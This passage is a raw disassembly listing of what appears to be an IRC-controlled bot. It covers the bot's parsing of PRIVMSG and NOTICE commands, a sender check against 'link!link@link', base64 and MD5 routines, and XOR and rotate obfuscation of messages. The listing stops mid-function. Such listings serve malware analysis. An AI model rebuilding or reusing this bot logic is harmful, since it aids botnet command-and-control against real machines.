		push	offset a302	; "302"
		push	[ebp+var_40]
		call	sub_411924	; _strcmpi
		add	esp, 1Ch
		neg	eax
		sbb	eax, eax
		inc	eax
		cmp	[ebp+var_44], ebx
		mov	dword_419D4C, eax
		jz	loc_40A404
		cmp	[ebp+var_40], ebx
		jz	loc_40A404
		push	esi
		push	edi
		push	offset aPrivmsg	; "PRIVMSG"
		push	[ebp+var_40]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A2B9
		push	offset aNotice	; "NOTICE"
		push	[ebp+var_40]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A32B

loc_40A2B9:				; CODE XREF: sub_40A236+6Ej
		mov	eax, [ebp+var_38]
		cmp	eax, ebx
		jz	short loc_40A32B
		cmp	[ebp+var_34], ebx
		jnz	short loc_40A32B
		cmp	byte ptr [eax],	3Ah
		jnz	short loc_40A32B
		cmp	byte ptr [eax+1], 3Dh
		jnz	short loc_40A32B
		add	eax, 2
		cmp	byte ptr [eax],	0
		jz	short loc_40A32B
		push	eax
		call	sub_40A5D0
		test	eax, eax
		pop	ecx
		jz	short loc_40A32B
		mov	eax, [ebp+var_38]
		lea	ecx, [eax+1]
		add	eax, 2
		push	ecx
		push	eax
		call	sub_40A44E
		push	eax
		mov	eax, [ebp+var_38]
		inc	eax
		push	eax
		call	sub_40A82E
		mov	esi, eax
		mov	eax, [ebp+var_38]
		inc	eax
		push	esi
		push	eax
		call	sub_40A7AE
		mov	eax, [ebp+var_38]
		push	0Dh
		and	byte ptr [esi+eax+1], 0
		lea	eax, [ebp+var_78]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		push	[ebp+var_78]
		push	[ebp+var_38]
		call	sub_4058EE
		add	esp, 2Ch

loc_40A32B:				; CODE XREF: sub_40A236+81j
					; sub_40A236+88j ...
		push	offset aLinkLink@link ;	"link!link@link"
		push	[ebp+var_44]
		call	sub_41177E	; strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A389
		cmp	off_418E18, ebx
		jz	short loc_40A390
		mov	esi, offset off_418E18
		mov	edi, esi

loc_40A34D:				; CODE XREF: sub_40A236+142j
		push	dword ptr [edi]
		call	sub_40B5E1
		mov	eax, [ebp+var_44]
		push	dword ptr [edi]
		inc	eax
		push	eax
		call	sub_4078A3
		add	esp, 0Ch
		test	al, al
		jnz	short loc_40A37C
		push	dword ptr [esi]
		call	sub_40B5A8
		add	esi, 4
		inc	ebx
		pop	ecx
		mov	edi, esi
		cmp	dword ptr [esi], 0
		jnz	short loc_40A34D
		jmp	short loc_40A390
; ---------------------------------------------------------------------------

loc_40A37C:				; CODE XREF: sub_40A236+12Fj
		push	off_418E18[ebx*4]
		call	sub_40B5A8
		pop	ecx

loc_40A389:				; CODE XREF: sub_40A236+106j
		mov	[ebp+var_4], 1

loc_40A390:				; CODE XREF: sub_40A236+10Ej
					; sub_40A236+144j
		push	1
		lea	esi, [ebp+var_184]
		xor	edi, edi
		pop	eax
		dec	esi

loc_40A39C:				; CODE XREF: sub_40A236+198j
		mov	ecx, [ebp+var_44]
		add	ecx, eax
		cmp	byte ptr [ecx],	21h
		jnz	short loc_40A3B1
		and	[ebp+eax+var_105], 0
		push	1
		pop	edi

loc_40A3B1:				; CODE XREF: sub_40A236+16Ej
		test	edi, edi
		jnz	short loc_40A3BE
		mov	dl, [ecx]
		mov	[ebp+eax+var_105], dl

loc_40A3BE:				; CODE XREF: sub_40A236+17Dj
		mov	dl, [ecx]
		mov	[esi+eax], dl
		cmp	byte ptr [ecx],	0
		jz	short loc_40A3D0
		inc	eax
		cmp	eax, 80h
		jl	short loc_40A39C

loc_40A3D0:				; CODE XREF: sub_40A236+190j
		lea	eax, [ebp+var_84]
		and	[ebp+var_85], 0
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_184]
		and	[ebp+var_105], 0
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+var_4]
		call	sub_409918
		add	esp, 14h
		pop	edi
		pop	esi

loc_40A404:				; CODE XREF: sub_40A236+4Cj
					; sub_40A236+55j
		pop	ebx
		leave
		retn
sub_40A236	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A407	proc near		; CODE XREF: sub_4111E8+249p

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		cmp	byte ptr [edi],	0
		jz	short loc_40A42A
		push	esi

loc_40A412:				; CODE XREF: sub_40A407+20j
		push	edi
		call	sub_405A76
		push	edi
		mov	esi, eax
		call	sub_40A236
		cmp	byte ptr [esi],	0
		pop	ecx
		pop	ecx
		mov	edi, esi
		jnz	short loc_40A412
		pop	esi

loc_40A42A:				; CODE XREF: sub_40A407+8j
		pop	edi
		retn
sub_40A407	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A42C	proc near		; CODE XREF: sub_4111E8+D1p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_419D50
		rep stosd
		pop	edi

loc_40A43A:				; CODE XREF: sub_40A42C+1Fj
		movzx	ecx, byte_415194[eax]
		mov	byte_419D50[ecx], al
		inc	eax
		cmp	eax, 40h
		jb	short loc_40A43A
		retn
sub_40A42C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A44E	proc near		; CODE XREF: sub_407A76+24Ap
					; sub_407A76+8A8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_4114BE	; strlen
		cmp	eax, 2
		pop	ecx
		mov	[ebp+arg_0], eax
		jnb	short loc_40A46B
		xor	eax, eax
		jmp	loc_40A517
; ---------------------------------------------------------------------------

loc_40A46B:				; CODE XREF: sub_40A44E+14j
		push	ebx
		push	edi
		push	1
		xor	edx, edx
		xor	ecx, ecx
		pop	edi

loc_40A474:				; CODE XREF: sub_40A44E+BFj
		inc	edx
		cmp	edi, [ebp+arg_0]
		jnb	loc_40A512
		movsx	ebx, byte ptr [ecx+esi]
		mov	eax, [ebp+arg_4]
		mov	bl, byte_419D50[ebx]
		shl	bl, 2
		lea	eax, [eax+edx-1]
		inc	ecx
		inc	edi
		cmp	ecx, [ebp+arg_0]
		mov	[eax], bl
		jnb	short loc_40A512
		movsx	ebx, byte ptr [ecx+esi]
		mov	bl, byte_419D50[ebx]
		shr	bl, 4
		or	[eax], bl
		inc	edx
		cmp	edi, [ebp+arg_0]
		jnb	short loc_40A512
		movsx	ebx, byte ptr [ecx+esi]
		mov	eax, [ebp+arg_4]
		mov	bl, byte_419D50[ebx]
		shl	bl, 4
		lea	eax, [eax+edx-1]
		inc	ecx
		inc	edi
		cmp	ecx, [ebp+arg_0]
		mov	[eax], bl
		jnb	short loc_40A512
		movsx	ebx, byte ptr [ecx+esi]
		mov	bl, byte_419D50[ebx]
		shr	bl, 2
		or	[eax], bl
		inc	edx
		cmp	edi, [ebp+arg_0]
		jnb	short loc_40A512
		movsx	ebx, byte ptr [ecx+esi]
		mov	eax, [ebp+arg_4]
		mov	bl, byte_419D50[ebx]
		shl	bl, 6
		lea	eax, [eax+edx-1]
		inc	ecx
		inc	edi
		cmp	ecx, [ebp+arg_0]
		mov	[eax], bl
		jnb	short loc_40A512
		movsx	ebx, byte ptr [ecx+esi]
		mov	bl, byte_419D50[ebx]
		or	[eax], bl
		inc	ecx
		inc	edi
		jmp	loc_40A474
; ---------------------------------------------------------------------------

loc_40A512:				; CODE XREF: sub_40A44E+2Aj
					; sub_40A44E+4Bj ...
		pop	edi
		lea	eax, [edx-1]
		pop	ebx

loc_40A517:				; CODE XREF: sub_40A44E+18j
		pop	esi
		pop	ebp
		retn
sub_40A44E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A51A	proc near		; CODE XREF: sub_407A76+1CFp
					; sub_407A76+80Ap ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		push	1
		movzx	eax, byte ptr [edi]
		shr	eax, 2
		pop	esi
		mov	al, byte_415194[eax]
		mov	[edx], al
		mov	cl, [edi]
		and	cl, 3
		mov	eax, esi
		shl	cl, 4
		cmp	[ebp+arg_8], esi
		jz	short loc_40A5B7

loc_40A546:				; CODE XREF: sub_40A51A+9Bj
		movzx	ebx, byte ptr [esi+edi]
		movzx	ecx, cl
		shr	ebx, 4
		or	ebx, ecx
		mov	cl, byte_415194[ebx]
		mov	[eax+edx], cl
		mov	cl, [esi+edi]
		and	cl, 0Fh
		inc	eax
		shl	cl, 2
		inc	esi
		cmp	esi, [ebp+arg_8]
		jz	short loc_40A5B7
		movzx	ebx, byte ptr [esi+edi]
		movzx	ecx, cl
		shr	ebx, 6
		or	ebx, ecx
		mov	cl, byte_415194[ebx]
		mov	[eax+edx], cl
		mov	cl, [esi+edi]
		and	ecx, 3Fh
		inc	eax
		mov	cl, byte_415194[ecx]
		mov	[eax+edx], cl
		inc	eax
		inc	esi
		cmp	esi, [ebp+arg_8]
		jz	short loc_40A5C7
		movzx	ecx, byte ptr [esi+edi]
		shr	ecx, 2
		mov	cl, byte_415194[ecx]
		mov	[eax+edx], cl
		mov	cl, [esi+edi]
		and	cl, 3
		inc	eax
		shl	cl, 4
		inc	esi
		cmp	esi, [ebp+arg_8]
		jnz	short loc_40A546

loc_40A5B7:				; CODE XREF: sub_40A51A+2Aj
					; sub_40A51A+4Fj
		movzx	ecx, cl
		or	ecx, 1
		mov	cl, byte_415194[ecx]
		mov	[eax+edx], cl
		inc	eax

loc_40A5C7:				; CODE XREF: sub_40A51A+7Bj
		and	byte ptr [eax+edx], 0
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40A51A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A5D0	proc near		; CODE XREF: sub_407A76+20Fp
					; sub_40A236+A3p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		push	esi
		call	sub_4114BE	; strlen
		pop	ecx
		xor	ecx, ecx
		test	eax, eax
		jle	short loc_40A5FC

loc_40A5E3:				; CODE XREF: sub_40A5D0+2Aj
		mov	dl, [ecx+esi]
		movsx	edi, dl
		cmp	byte_419D50[edi], 0
		jnz	short loc_40A5F7
		cmp	dl, 41h
		jnz	short loc_40A602

loc_40A5F7:				; CODE XREF: sub_40A5D0+20j
		inc	ecx
		cmp	ecx, eax
		jl	short loc_40A5E3

loc_40A5FC:				; CODE XREF: sub_40A5D0+11j
		push	1
		pop	eax

loc_40A5FF:				; CODE XREF: sub_40A5D0+34j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40A602:				; CODE XREF: sub_40A5D0+25j
		xor	eax, eax
		jmp	short loc_40A5FF
sub_40A5D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A606	proc near		; CODE XREF: sub_4111E8+E6p

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40A8A4
		push	[ebp+arg_4]
		lea	eax, [ebp+var_58]
		push	[ebp+arg_0]
		push	eax
		call	sub_40A8CC
		lea	eax, [ebp+var_58]
		push	eax
		push	offset byte_419E54
		call	sub_40A96B
		add	esp, 18h
		lea	eax, byte_419E54
		push	10h
		pop	edx

loc_40A63E:				; CODE XREF: sub_40A606+40j
		mov	cl, [eax]
		rol	cl, cl
		mov	[eax], cl
		inc	eax
		dec	edx
		jnz	short loc_40A63E
		leave
		retn
sub_40A606	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A64A	proc near		; CODE XREF: sub_407A76+15p
					; sub_40D6E0+F9p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		xor	ecx, ecx
		xor	eax, eax

loc_40A655:				; CODE XREF: sub_40A64A+2Dj
		mov	cl, [esi]
		test	ecx, ecx
		jz	short loc_40A679
		cmp	ecx, 61h
		jb	short loc_40A663
		sub	ecx, 20h

loc_40A663:				; CODE XREF: sub_40A64A+14j
		and	ecx, 7Fh
		add	eax, ecx
		and	ecx, 0Fh
		mov	cl, byte_419E54[ecx]
		add	eax, ecx
		rol	eax, 3
		inc	esi
		jmp	short loc_40A655
; ---------------------------------------------------------------------------

loc_40A679:				; CODE XREF: sub_40A64A+Fj
		pop	esi
		pop	ebp
		retn
sub_40A64A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A67C	proc near		; CODE XREF: sub_4111E8+EEp

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	esi
		lea	eax, [ebp+var_58]
		push	edi
		push	eax
		call	sub_40A8A4
		push	[ebp+arg_4]
		lea	eax, [ebp+var_58]
		push	[ebp+arg_0]
		push	eax
		call	sub_40A8CC
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_419E68
		call	sub_40A96B
		add	esp, 18h
		lea	esi, dword_419E68
		mov	edi, esi
		push	10h
		pop	ecx

loc_40A6B8:				; CODE XREF: sub_40A67C+44j
		lodsb
		xor	al, 0AAh
		add	al, al
		or	al, 1
		stosb
		loop	loc_40A6B8
		pop	edi
		pop	esi
		leave
		retn
sub_40A67C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A6C6	proc near		; CODE XREF: sub_40A798+Dp

var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	esi
		xor	esi, esi
		test	eax, eax
		mov	[ebp+var_8], esi
		jle	short loc_40A72A
		push	ebx
		push	edi
		push	10h
		mov	edi, [ebp+arg_8]
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_1], dl
		shl	[ebp+var_1], 2

loc_40A6EA:				; CODE XREF: sub_40A6C6+60j
		mov	eax, [ebp+arg_0]
		push	10h
		lea	ecx, [esi+eax]
		mov	eax, esi
		cdq
		pop	esi
		add	byte ptr [ecx],	0CDh
		idiv	esi
		movzx	eax, byte ptr [edx+edi]
		push	10h
		pop	ebx
		lea	esi, [edx+edi]
		cdq
		idiv	ebx
		mov	al, [ecx]
		sub	al, [edx+edi]
		mov	[ecx], al
		mov	dl, [esi]
		mov	esi, [ebp+var_8]
		not	dl
		xor	dl, al
		xor	dl, [ebp+var_1]
		inc	dl
		inc	esi
		cmp	esi, [ebp+arg_4]
		mov	[ecx], dl
		mov	[ebp+var_8], esi
		jl	short loc_40A6EA
		pop	edi
		pop	ebx

loc_40A72A:				; CODE XREF: sub_40A6C6+10j
		pop	esi
		leave
		retn
sub_40A6C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A72D	proc near		; CODE XREF: sub_40A7AE+Dp

var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	edi
		xor	edi, edi
		test	eax, eax
		mov	[ebp+var_8], edi
		jle	short loc_40A795
		push	ebx
		push	esi
		push	10h
		mov	esi, [ebp+arg_8]
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_1], dl
		shl	[ebp+var_1], 2

loc_40A751:				; CODE XREF: sub_40A72D+64j
		mov	eax, [ebp+arg_0]
		push	10h
		lea	ecx, [edi+eax]
		mov	eax, edi
		cdq
		pop	edi
		mov	bl, [ecx]
		idiv	edi
		dec	bl
		xor	bl, [ebp+var_1]
		mov	[ecx], bl
		mov	al, [edx+esi]
		not	al
		xor	al, bl
		mov	byte ptr [ebp+arg_8+3],	al
		mov	[ecx], al
		movzx	eax, byte ptr [edx+esi]
		add	edx, esi
		cdq
		idiv	edi
		mov	edi, [ebp+var_8]
		mov	al, [edx+esi]
		add	al, byte ptr [ebp+arg_8+3]
		add	al, 33h
		inc	edi
		cmp	edi, [ebp+arg_4]
		mov	[ecx], al
		mov	[ebp+var_8], edi
		jl	short loc_40A751
		pop	esi
		pop	ebx

loc_40A795:				; CODE XREF: sub_40A72D+10j
		pop	edi
		leave
		retn
sub_40A72D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A798	proc near		; CODE XREF: sub_407A76+1AEp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_419E68
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40A6C6
		add	esp, 0Ch
		retn
sub_40A798	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A7AE	proc near		; CODE XREF: sub_407A76+266p
					; sub_409918+5CBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_419E68
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40A72D
		add	esp, 0Ch
		retn
sub_40A7AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A7C4	proc near		; CODE XREF: sub_407A76+1BBp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		lea	esi, [eax+4]
		push	ebx
		push	eax
		push	esi
		call	sub_4114D0	; memcpy
		add	esp, 0Ch
		call	sub_40B480
		xor	edi, edi
		test	ebx, ebx
		jle	short loc_40A803

loc_40A7E8:				; CODE XREF: sub_40A7C4+3Dj
		mov	cl, [edi+esi]
		push	1
		add	cl, al
		push	eax
		xor	cl, al
		mov	[edi+esi], cl
		call	sub_411796	; _lrotl
		add	eax, edi
		inc	edi
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jl	short loc_40A7E8

loc_40A803:				; CODE XREF: sub_40A7C4+22j
		lea	edi, [ebx-1]

loc_40A806:				; CODE XREF: sub_40A7C4+5Ej
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40A824
		mov	cl, [edi+esi]
		push	1
		add	cl, al
		push	eax
		xor	cl, al
		mov	[edi+esi], cl
		call	sub_411796	; _lrotl
		pop	ecx
		add	eax, edi
		pop	ecx
		dec	edi
		jmp	short loc_40A806
; ---------------------------------------------------------------------------

loc_40A824:				; CODE XREF: sub_40A7C4+45j
		mov	[esi-4], eax
		pop	edi
		lea	eax, [ebx+4]
		pop	esi
		pop	ebx
		retn
sub_40A7C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A82E	proc near		; CODE XREF: sub_407A76+257p
					; sub_409918+5BEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		add	eax, 0FFFFFFFCh
		push	edi
		mov	ebx, [esi]
		push	eax
		lea	eax, [esi+4]
		push	eax
		push	esi
		call	sub_4117A2	; memmove
		sub	[ebp+arg_4], 4
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+arg_4], edi
		jle	short loc_40A876

loc_40A858:				; CODE XREF: sub_40A82E+46j
		sub	ebx, edi
		push	1
		push	ebx
		call	sub_41179C	; _lrotr
		mov	ebx, eax
		mov	al, [edi+esi]
		xor	al, bl
		pop	ecx
		sub	al, bl
		pop	ecx
		mov	[edi+esi], al
		inc	edi
		cmp	edi, [ebp+arg_4]
		jl	short loc_40A858

loc_40A876:				; CODE XREF: sub_40A82E+28j
		mov	eax, [ebp+arg_4]
		lea	edi, [eax-1]

loc_40A87C:				; CODE XREF: sub_40A82E:loc_40A89Aj
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40A89C
		sub	ebx, edi
		push	1
		push	ebx
		call	sub_41179C	; _lrotr
		mov	ebx, eax
		mov	al, [edi+esi]
		xor	al, bl
		pop	ecx
		sub	al, bl
		pop	ecx
		mov	[edi+esi], al
		dec	edi

loc_40A89A:				; DATA XREF: .packed:00415F24o
					; .packed:00415F68o ...
		jmp	short loc_40A87C
; ---------------------------------------------------------------------------

loc_40A89C:				; CODE XREF: sub_40A82E+51j
		mov	eax, [ebp+arg_4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40A82E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A8A4	proc near		; CODE XREF: sub_40A606+Ap
					; sub_40A67C+Cp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword ptr [eax+10h], 0
		and	dword ptr [eax+14h], 0
		mov	dword ptr [eax], 67452301h
		mov	dword ptr [eax+4], 0EFCDAB89h
		mov	dword ptr [eax+8], 98BADCFEh
		mov	dword ptr [eax+0Ch], 10325476h
		retn
sub_40A8A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A8CC	proc near		; CODE XREF: sub_40A606+19p
					; sub_40A67C+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	eax, [esi+10h]
		lea	ecx, [eax+ebx*8]
		cmp	ecx, eax
		mov	[esi+10h], ecx
		jnb	short loc_40A8E8
		inc	dword ptr [esi+14h]

loc_40A8E8:				; CODE XREF: sub_40A8CC+17j
		mov	ecx, ebx
		shr	ecx, 1Dh
		add	[esi+14h], ecx
		shr	eax, 3
		and	eax, 3Fh
		jz	short loc_40A928
		push	40h
		lea	ecx, [eax+esi+18h]
		pop	edi
		sub	edi, eax
		cmp	ebx, edi
		jnb	short loc_40A90C
		push	ebx
		push	[ebp+arg_4]
		push	ecx
		jmp	short loc_40A95E
; ---------------------------------------------------------------------------

loc_40A90C:				; CODE XREF: sub_40A8CC+37j
		push	edi
		push	[ebp+arg_4]
		push	ecx
		call	sub_4114D0	; memcpy
		lea	eax, [esi+18h]
		push	eax
		push	esi
		call	sub_40AA38
		add	[ebp+arg_4], edi
		add	esp, 14h
		sub	ebx, edi

loc_40A928:				; CODE XREF: sub_40A8CC+2Aj
		cmp	ebx, 40h
		jb	short loc_40A956
		mov	edi, ebx
		shr	edi, 6

loc_40A932:				; CODE XREF: sub_40A8CC+88j
		push	40h
		lea	eax, [esi+18h]
		push	[ebp+arg_4]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_4]
		push	esi
		call	sub_40AA38
		add	[ebp+arg_4], 40h
		add	esp, 14h
		sub	ebx, 40h
		dec	edi
		jnz	short loc_40A932

loc_40A956:				; CODE XREF: sub_40A8CC+5Fj
		push	ebx
		add	esi, 18h
		push	[ebp+arg_4]
		push	esi

loc_40A95E:				; CODE XREF: sub_40A8CC+3Ej
		call	sub_4114D0	; memcpy
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40A8CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A96B	proc near		; CODE XREF: sub_40A606+27p
					; sub_40A67C+29p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		push	3Fh
		mov	eax, [esi+10h]
		lea	edi, [esi+10h]
		shr	eax, 3
		pop	ecx
		and	eax, ecx
		sub	ecx, eax
		lea	edx, [eax+esi+18h]
		mov	byte ptr [edx],	80h
		inc	edx
		cmp	ecx, 8
		jnb	short loc_40A9B2
		push	ebx
		push	ecx
		push	0
		push	edx
		call	sub_4114E8	; memset
		lea	ebx, [esi+18h]
		push	ebx
		push	esi
		call	sub_40AA38
		push	38h
		push	0
		push	ebx
		call	sub_4114E8	; memset
		add	esp, 20h
		pop	ebx
		jmp	short loc_40A9C1
; ---------------------------------------------------------------------------

loc_40A9B2:				; CODE XREF: sub_40A96B+21j
		add	ecx, 0FFFFFFF8h
		push	ecx
		push	0
		push	edx
		call	sub_4114E8	; memset
		add	esp, 0Ch

loc_40A9C1:				; CODE XREF: sub_40A96B+45j
		push	8
		lea	eax, [esi+50h]
		push	edi
		push	eax
		call	sub_40A9F3
		lea	eax, [esi+18h]
		push	eax
		push	esi
		call	sub_40AA38
		push	10h
		push	esi
		push	[esp+24h+arg_0]
		call	sub_40A9F3
		push	4
		push	0
		push	esi
		call	sub_4114E8	; memset
		add	esp, 2Ch
		pop	edi
		pop	esi
		retn
sub_40A96B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A9F3	proc near		; CODE XREF: sub_40A96B+5Dp
					; sub_40A96B+73p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	[esp+arg_8], 0
		jbe	short locret_40AA37
		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		push	esi
		or	esi, 0FFFFFFFFh
		lea	eax, [edx+1]
		sub	esi, edx

loc_40AA0B:				; CODE XREF: sub_40A9F3+41j
		mov	dl, [ecx]
		mov	[eax-1], dl
		mov	edx, [ecx]
		shr	edx, 8
		mov	[eax], dl
		mov	edx, [ecx]
		shr	edx, 10h
		mov	[eax+1], dl
		mov	edx, [ecx]
		shr	edx, 18h
		mov	[eax+2], dl
		add	eax, 4
		add	ecx, 4
		lea	edx, [esi+eax]
		cmp	edx, [esp+4+arg_8]
		jb	short loc_40AA0B
		pop	esi

locret_40AA37:				; CODE XREF: sub_40A9F3+5j
		retn
sub_40A9F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA38	proc near		; CODE XREF: sub_40A8CC+4Fp
					; sub_40A8CC+78p ...

var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		push	ebx
		push	esi
		push	edi
		push	40h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_40B2D8
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		mov	edi, [eax+4]
		mov	edx, [eax+0Ch]
		mov	ebx, [eax+8]
		mov	esi, edi
		mov	ecx, [eax]
		not	esi
		and	esi, edx
		mov	edx, ebx
		and	edx, edi
		or	esi, edx
		add	esi, ecx
		mov	ecx, [ebp+var_44]
		lea	edx, [esi+ecx-28955B88h]
		mov	esi, edi
		mov	ecx, edx
		shr	ecx, 19h
		shl	edx, 7
		or	ecx, edx
		add	ecx, edi
		mov	edx, ecx
		and	esi, ecx
		not	edx
		and	edx, ebx
		or	edx, esi
		mov	esi, [eax+0Ch]
		add	edx, [ebp+var_40]
		lea	esi, [esi+edx-173848AAh]
		mov	edx, esi
		shr	edx, 14h
		shl	esi, 0Ch
		or	edx, esi
		add	edx, ecx
		mov	esi, edx
		not	esi
		and	esi, edi
		mov	edi, edx
		and	edi, ecx
		or	esi, edi
		add	esi, [ebp+var_3C]
		lea	esi, [ebx+esi+242070DBh]
		mov	ebx, edx
		mov	edi, esi
		shr	edi, 0Fh
		shl	esi, 11h
		or	edi, esi
		add	edi, edx
		mov	esi, edi
		and	ebx, edi
		not	esi
		and	esi, ecx
		mov	[ebp+var_4], edi
		or	esi, ebx
		mov	ebx, [eax+4]
		add	esi, [ebp+var_38]
		lea	ebx, [ebx+esi-3E423112h]
		mov	esi, ebx
		shl	esi, 16h
		shr	ebx, 0Ah
		or	esi, ebx
		add	esi, edi
		mov	ebx, esi
		and	edi, esi
		not	ebx
		and	ebx, edx
		or	ebx, edi
		add	ebx, [ebp+var_34]
		lea	ecx, [ecx+ebx-0A83F051h]
		mov	edi, ecx
		shr	edi, 19h
		shl	ecx, 7
		or	edi, ecx
		add	edi, esi
		mov	ecx, esi
		mov	[ebp+arg_4], edi
		and	ecx, [ebp+arg_4]
		not	edi
		and	edi, [ebp+var_4]
		or	edi, ecx
		add	edi, [ebp+var_30]
		lea	edx, [edx+edi+4787C62Ah]
		mov	ecx, edx
		shr	ecx, 14h
		shl	edx, 0Ch
		or	ecx, edx
		add	ecx, [ebp+arg_4]
		mov	edx, ecx
		mov	edi, ecx
		and	edi, [ebp+arg_4]
		mov	ebx, ecx
		not	edx
		and	edx, esi
		or	edx, edi
		mov	edi, [ebp+var_4]
		add	edx, [ebp+var_2C]
		lea	edi, [edi+edx-57CFB9EDh]
		mov	edx, edi
		shr	edx, 0Fh
		shl	edi, 11h
		or	edx, edi
		add	edx, ecx
		mov	edi, edx
		and	ebx, edx
		not	edi
		and	edi, [ebp+arg_4]
		or	edi, ebx
		mov	ebx, edx
		add	edi, [ebp+var_28]
		lea	esi, [esi+edi-2B96AFFh]
		mov	edi, esi
		shl	edi, 16h
		shr	esi, 0Ah
		or	edi, esi
		add	edi, edx
		mov	esi, edi
		and	ebx, edi
		not	esi
		and	esi, ecx
